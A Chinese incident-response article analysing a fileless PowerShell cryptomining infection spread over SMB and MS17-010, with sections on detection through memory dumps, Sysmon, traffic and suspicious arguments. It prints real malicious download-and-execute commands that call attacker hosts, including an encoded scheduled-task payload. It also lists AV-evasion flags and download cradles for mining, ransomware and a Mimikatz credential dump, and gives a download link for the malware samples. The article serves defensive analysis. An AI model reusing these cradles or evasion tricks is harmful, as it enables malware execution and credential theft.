應(yīng)急響應(yīng)系列之無文件攻擊分析
一、概述
1.1 概述
前段時間遇到一起案例,主要是通過powershell進(jìn)行挖礦的,使用該技術(shù)來進(jìn)行挖礦的案例非常之多,但是個人感覺還是可以總結(jié)與分析一波,可以對這種技術(shù)進(jìn)行詳細(xì)分析以后討論一下如何進(jìn)行有效的監(jiān)測與防護(hù)。
1.2 個人思路
通過最近遇到的幾起應(yīng)急事件,越來越感覺惡意樣本分析在應(yīng)急響應(yīng)的過程中會越來越重要,特別是惡意樣本的逆向分析,所以搞應(yīng)急的兄弟們需要多注重樣本分析這塊。同時,樣本解密這一塊也需要做些了解,目前發(fā)現(xiàn)很多惡意樣本都會進(jìn)行加密來躲避殺軟以及安全研究人員的分析。
另外,無文件攻擊會綜合使用系統(tǒng)的白名單功能,如powershell、PSExec,以及各種變形、加密、混淆、惡意文件放在遠(yuǎn)程服務(wù)器上,通過下載到內(nèi)存中執(zhí)行等方式來執(zhí)行,導(dǎo)致其在防護(hù)這塊還是存在很多技術(shù)難度。但是其在發(fā)生事件后的監(jiān)測還是有很多方式的,如流量、日志、內(nèi)存等方式來監(jiān)測。通過無文件攻擊這一塊,本文會在事后監(jiān)測這塊做一些分享。
二、 應(yīng)急響應(yīng)案例
2.1 分析結(jié)論
1、此次攻擊主要利用SMB匿名登錄以及口令爆破利用病毒投放;
2、目前只捕捉到基于TCP 445的病毒投放動作,但是分析其攻擊文件,里面還會有針對1433、3389以及65529的掃描行為,后續(xù)可能會利用相關(guān)端口進(jìn)行橫向滲透以及病毒投放行為;
3、挖礦病毒通過powershell駐留在內(nèi)存中,通過CPU進(jìn)行挖礦,會導(dǎo)致CPU占用100%。同時挖礦病毒在本地?zé)o落地文件,因此需要dump內(nèi)存才能分析相關(guān)行為;
4、同時還會利用定時任務(wù)定時下載惡意文件來進(jìn)行攻擊行為;
5、內(nèi)網(wǎng)大量機(jī)器開放445端口并且未打補(bǔ)丁,建議后期批量封堵445以及打補(bǔ)丁;
6、通過現(xiàn)有的日志,發(fā)現(xiàn)最早的攻擊時間為2019年9月10日23:48分。
2.2 過程分析
2.2.1 現(xiàn)象確認(rèn)
某用戶,通過前線技術(shù)反饋可能存在powershell挖礦行為,通過前線技術(shù)兄弟協(xié)助,找到其中一臺存在異常的服務(wù)器(192.168.0.8)進(jìn)行分析,發(fā)現(xiàn)其CPU利用率為100%。

對CPU利用率進(jìn)行排名,發(fā)現(xiàn)占用CPU比較高的都為powershell。

2.2.2Powershell分析
分析powershell這一塊,可以使用processhacker、processmonitor、processexplorer、火絨劍等來分析,火絨劍界面相對友好,各種功能也很強(qiáng)大,缺點就是需要安裝,并且經(jīng)常很卡,個人喜歡使用ProcessHacker這個功能。

利用ProcessHacker分析Powershell的命令參數(shù),相關(guān)的參數(shù)如下:
"C:\Windows\system32\cmd.exe"/c powershell -nop -w hidden -ep bypass -c"$ifp=$env:tmp+'\if.bin';if(test-path$ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'abcc20b2de0b18c895b94d2c23c0bc63'){$con=''}}if(!$con){$con=(New-ObjectNet.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-707K0JETN3J&GUID=4****544-0046-3710-8037-B7C04F344E32&MAC=D0:94:66:30:8B:7D&OS=6.3.9600&BIT=64位&USER=WIN-707K0JETN3J$&DOMAIN=WORKGROUP&D=&CD=MatroxG200eR (Renesas) WDDM1.2&P=1&FI=0&FM=1&IF=1&MF=1&HR=39.67,41.44,41.89&UP=405600.656&_T=1568219962.54539');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"
對上面的powershell參數(shù)與命令進(jìn)行分析,相關(guān)參數(shù)含義如下:
- -nop 不加載配置文件
- -w hidden 隱藏執(zhí)行命令窗口
- -ep bypass 忽略執(zhí)行策略文件
- -c powershell 命令
主要的功能如下:
1.校驗本地TMP目錄下是否存在if.bin的文件
2.并校驗其MD5是否為abcc20b2de0b18c895b94d2c23c0bc63
3.若if.bin這個文件不存在,則從http://down.ackng.com/if.bin下載相應(yīng)的文件,同時上傳上傳本機(jī)的相關(guān)信息(GUID、MAC地址、操作系統(tǒng)位數(shù)、機(jī)器名、工作組等信息)
對if.bin進(jìn)行分析,發(fā)現(xiàn)其是powershell木馬以及反彈后門。
2.2.3 If.bin樣本分析
前面分析,可以了解到powershell的主要目的是為了下載if.bin這個文件,所以我們對if.bin進(jìn)行分析,直接下載下來,分析相關(guān)文件進(jìn)行了加密。

分析做加密方式,主要是通過base64和DeflateStream兩種方式,需要對樣本進(jìn)行解密,相關(guān)解密方式可使用CyberChef來進(jìn)行解密,使用方法可參考:
https://www.freebuf.com/sectool/209290.html
對其進(jìn)行解密還原,還原后的部分核心內(nèi)容如下所示:
2.2.3.1 端口轉(zhuǎn)發(fā)
開放65529端口,并將其轉(zhuǎn)發(fā)到1.1.1.1的53端口,同時創(chuàng)建一個定時任務(wù),每10分鐘運(yùn)行一次(個人猜測這個功能是攻擊者從網(wǎng)上抄的,目前其實并未起到效果)。
2.2.3.2 定時任務(wù)
創(chuàng)建定時任務(wù),每60分鐘運(yùn)行一次,主要功能為通過http://t.zer2.com下載惡意文件,放到powershell中運(yùn)行,同時還會上傳本機(jī)信息(MAC、GUID、user,domain等)。

2.2.3.3 SMB爆破


2.2.3.4 shellcode


2.2.3.5 MS17-010漏洞傳播

2.2.3.6 獲取系統(tǒng)信息
獲取用戶信息、DumpHash、獲取UserHashes、獲取啟動項目等。

2.2.3.7 端口掃描

可以看出,對惡意樣本的分析還需要對樣本進(jìn)行代碼級別的分析,這樣可以還原樣本的所有功能,如果我們通過網(wǎng)絡(luò)流量、日志等其他方式來進(jìn)行分析的話,一方面可能因為樣本的執(zhí)行需要滿足一定條件才會觸發(fā),另一方面樣本的功能我們通過日志和流量只能采集到部分功能。
2.2.4 內(nèi)存分析
我們知道,powershell相關(guān)的行為都是駐留在內(nèi)存中,在本地?zé)o落地文件,因此我們直接使用ProcessHacker來dump了Powershell的內(nèi)存數(shù)據(jù)進(jìn)行分析。

使用Notepad++打開內(nèi)存數(shù)據(jù),過濾其中內(nèi)容,可以看到其正在執(zhí)行上述powershell命令:

內(nèi)存里主要從http://down.ackng.com/if.bin下載bin文件,相應(yīng)的文件主要功能參考2.2.3的分析。
2.2.5 定時任務(wù)分析
一般情況下,powershell利用定時任務(wù)來進(jìn)行傳播,因此對定時任務(wù)分析,對192.168.0.8的定時任務(wù)分析,其定時任務(wù)如下:

可以看到該定時任務(wù)開始時間為2019年9月10日20:35分,這個時間也就是挖礦病毒感染那段時間前后,同時該定時任務(wù)每1小時執(zhí)行一次。

同時,定時任務(wù)主要是執(zhí)行powershell,其執(zhí)行的命令如下:
cmd /c "setA=power& call %A%shell -ep bypass -eJABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBEAFoAWABIAFEAegBxAGoAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0A**AegBlAHIAMgAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AaQBwAGMAXwAyADAAMQA5ADAAOQAxADAAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtA**ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApA**ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfA****ABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"
直接解密定時任務(wù)的內(nèi)容,解密后為:
IEX(New-ObjectSystem.Net.WebClient).DownloadString(‘http://t.zer2.com/v.jsp?msolow‘)
2.2.6 網(wǎng)絡(luò)連接分析
發(fā)現(xiàn)對對內(nèi)網(wǎng)445端口以及65529端口的掃描行為:


相關(guān)行為在if.bin文件中可以看到相關(guān)的代碼,不僅會掃描445,65529,還會掃描1433和3389,只是在192.168.0.8這臺機(jī)器上未捕捉到掃描3389和1433的行為。

2.2.7 日志分析
通過對日志分析,發(fā)現(xiàn)網(wǎng)絡(luò)中存在大量的基于SMB的爆破行為,相關(guān)日志如下:

通過目前現(xiàn)有的已經(jīng)記錄的日志,最早可以追溯到2019年9月10日23:48:48就存在相應(yīng)的SMB爆破行為,相關(guān)的攻擊IP為192.168.0.28。

爆破成功日志


2.2.8開放端口
內(nèi)網(wǎng)大量機(jī)器開放TCP 445,導(dǎo)致該病毒可以快速傳播。

2.2.9補(bǔ)丁分析
由于該病毒會利用永恒之藍(lán)(MS17-010)進(jìn)行傳播,分析192.168.0.8,發(fā)現(xiàn)其未打相關(guān)補(bǔ)丁。

三、攻擊方式
3.1 感染途徑
3.1.1 郵件
電子郵件是powershell 下載者最常見的傳播手段,垃圾郵件中經(jīng)常在.zip包中,包含powershell 腳本文件,這些文件有以下擴(kuò)展:
.lnk .wsf.hta .mhtml .html.doc .docm .xls
.xlsm .ppt.pptm .chm .vbs .js.bat .pif .pdf.jar
3.1.2 Office宏文檔
powershell.exe–nop –w hidden –c
“IEX((NEW-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”
3.1.3 各種EXP
包括各種RCE、web漏洞、系統(tǒng)漏洞(MS17-010等),攻擊者比較喜歡的方式,特別是可以工具化、自動化利用的EXP。
3.2 免殺對抗
3.2.1 隱藏執(zhí)行窗口
–WindowStyle hidden / -whidden:對用戶隱藏PowerShell程序窗口,以隱藏操作痕跡。
3.2.2 管道
最常見的bypass執(zhí)行策略,通過管道方式將腳本內(nèi)容插入到powershell.exe的標(biāo)準(zhǔn)輸入內(nèi),這種方法不會改變配置但要求寫入磁盤:
- `Typehelloword.ps1 |powershell.exe -NoP
> -noprofile,簡寫-NoP, 為不加載windowspoweshell配置文件
你也可以從網(wǎng)絡(luò)上下載腳本并執(zhí)行,這樣就不會寫入磁盤和修改配置文件
- powershell -nop-c "iex(New-Object Net.WebClient).DowndloadString('url')"
> iex Invoke-Expression,允許用戶計算和運(yùn)行動態(tài)生成的命令,輸出命令的執(zhí)行結(jié)果
> (New-ObjectNet.WebClient).DownloadString,最為常見的遠(yuǎn)程下載方法,Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient都能執(zhí)行類似的功能
3.2.3 Exec bypass
使用powershell策略中的bypass策略,這種方法不會改變配置或者要求寫入磁盤,并且不會有任何的警告或提示,如果你使用Unrestricted,在運(yùn)行網(wǎng)上下載的未被簽名的腳本時會有警告
powershell.exe-ExecutionPolicy bypass -File helloworld.ps1
> -exec bypass 忽略執(zhí)行策略文件
> -File 指定文件
3.2.4 編碼與加密
使用加密方式繞過,首先需要將命令stream加密,再base64加密即可,命令如下:

3.2.5 指定版本參數(shù)不記錄參數(shù)
指定版本參數(shù),使得攻擊者可以降低powershell到一個舊版本,新版本如-version 2.0可以記錄操作
3.2.6 PSConsole
使用PSConsole指定powershell控制文件
3.2.7 樣本案例
Cmd /c powershell-w hidden -ep bypass -c while($True){try{IEX (New-ObjectNet.WebClient).downloadstring(‘http://t.zer2.com/ipc.jsp?l’)}catch{Sleep -m2500000}}
Cmd /c 使用cmd加載powershell
-nop 不加載配置文件
-w hidden 隱藏執(zhí)行窗口
-c 執(zhí)行命令
3.3 Powershell在攻擊活動中的應(yīng)用
3.3.1 挖礦
powershell”if(!(string).contains(‘SCM EventFilter’))
{IEX(NewObjectNet.WebClient).DownloadString(‘http://XXXXXXXX:8000/info6.ps1’)}”
3.3.2 勒索
Powershell.exe–windowstyle hidden
(New-ObjectSystem.Net.WebClient.DownloadFile
(‘http://[REMOVED]’,’%Temp%\[RANDOM].exe’);Start-Process‘%Temp%\[RANDOM].exe’
3.3.3 橫向滲透
常用的橫向移動方法如下:
Invoke-Command
Enter-PSSession
WMI/wmic/Invoke-WMImethod
Profile injection
Task Sheduler
Common tools e.g. PsExec
Invoke-Command
Invoke-Shellcode,支持msf部分功能
腳本下載地址:
Invoke-PortScan,端口掃描
腳本下載:
https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
Invoke-ReflectivePEInjection,開啟代理
腳本下載:
3.3.4 其他
如提取密碼,
IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/Invoke-Mimikatz.ps1‘);
Invoke-Mimikatz
四、如何發(fā)現(xiàn)
由于無文件挖礦本身沒有文件落地,因此常規(guī)基于文件的殺軟很難有效進(jìn)行查殺,目前比較主要的發(fā)現(xiàn)機(jī)制個人總結(jié)如下:
4.1 內(nèi)存
由于無文件攻擊主要在內(nèi)存中執(zhí)行,因此可以通過分析內(nèi)存的方法來分析相應(yīng)的攻擊行為,這樣的話需要周期性的將內(nèi)存dump出來,對于某個進(jìn)程可以使用ProcessHacker來dump,對于整臺服務(wù)器的內(nèi)存可以使用RamCapturer來dump內(nèi)存,同時使用Volatility分析。Linux可以使用dump命令直接將內(nèi)存導(dǎo)出:



4.2 日志
正常情況下powershell執(zhí)行的命令通過系統(tǒng)層面的日志是無法直接記錄的,但是微軟的工具sysmon可以記錄到powershell的攻擊行為,關(guān)于sysmon的相關(guān)功能和使用大家可以網(wǎng)上找找,sysmon相關(guān)事件id的主要功能如下:
可以通過事件ID 1來分析相關(guān)的命令執(zhí)行情況,id 1表示進(jìn)程創(chuàng)建行為,各種進(jìn)程創(chuàng)建、命令執(zhí)行都會通過事件id來記錄,因此我們可以通過事件id 1來記錄相關(guān)的powershell命令執(zhí)行的行為,然后通過Image過濾powershell.exe相關(guān)的操作行為,這樣的話可以記錄到powershell命令執(zhí)行日志,然后對所有的powershell命令進(jìn)行分析,正常情況下,很少遇到通過powershell進(jìn)行運(yùn)維或相關(guān)操作的情況,因此一旦有powershell的相關(guān)行為都可以進(jìn)行分析;如果具體環(huán)境里有使用Powershell的情況,這個時候就需要對powershell的命令內(nèi)容進(jìn)行過濾與分析了,分析的重點在于相關(guān)的命令參數(shù)、url等。
下圖是使用cmd執(zhí)行powershell命令,通過sysmon監(jiān)控到相關(guān)的日志情況


4.3 流量
由于無文件在本地?zé)o落地文件,因此本地殺軟很難有效查殺,但是即使在內(nèi)存里面執(zhí)行,其都會產(chǎn)生相應(yīng)的網(wǎng)絡(luò)流量,因此可以在流量層面彌補(bǔ)殺軟的不足,通過流量層面過濾相應(yīng)的URL、IP、MD5等進(jìn)行安全分析。這一塊在實際工作中有很多落地的場景,本塊就不細(xì)講。
4.4 Powershell命令參數(shù)
可以對powershell的命令進(jìn)行監(jiān)控來分析其是否為可疑,正常情況下,運(yùn)行powershell一般不會加一些參數(shù),攻擊者為了防止被發(fā)現(xiàn),所以會加上相關(guān)的參數(shù)來對抗殺軟以及研究人員,相關(guān)可疑的命令參數(shù)如下所示:
- NoProfile –nop 不加載配置文件
- iex $env:randomname
- DownloadFile下載文件到本地
- Downloadstring 下載文件到內(nèi)存
- -w hidden 隱藏執(zhí)行命令窗口
- -ep bypass 忽略執(zhí)行策略文件
- Unrestricted
4.5 進(jìn)程調(diào)用
正常情況下是powershell的父進(jìn)程是explorer

在實際的攻擊過程中經(jīng)常發(fā)現(xiàn)其父進(jìn)程為cmd.exe,其祖父進(jìn)程為explorer.exe

同時,在某些場景下,管理人員也會使用cmd調(diào)用powershell,這個時候我們需要分析調(diào)用powershell的祖父進(jìn)程,若其祖父進(jìn)程為winword.exe、winword.exe或者wuapp.exe,這種情況表明,某個腳本啟動了cmd.exe,這個時候我們需要深入分析一些哪些具體哪個腳本或模板調(diào)用的cmd進(jìn)程。
五、樣本下載
鏈接:https://pan.baidu.com/s/1Gfzuia4T0GcRFF_Pb4y7Tw
提取碼: hfmx
六、參考鏈接
https://www.freebuf.com/articles/system/129228.html
https://www.freebuf.com/sectool/209290.html
https://www.freebuf.com/column/200241.html
https://www.freebuf.com/column/203131.html
https://www.freebuf.com/sectool/136328.html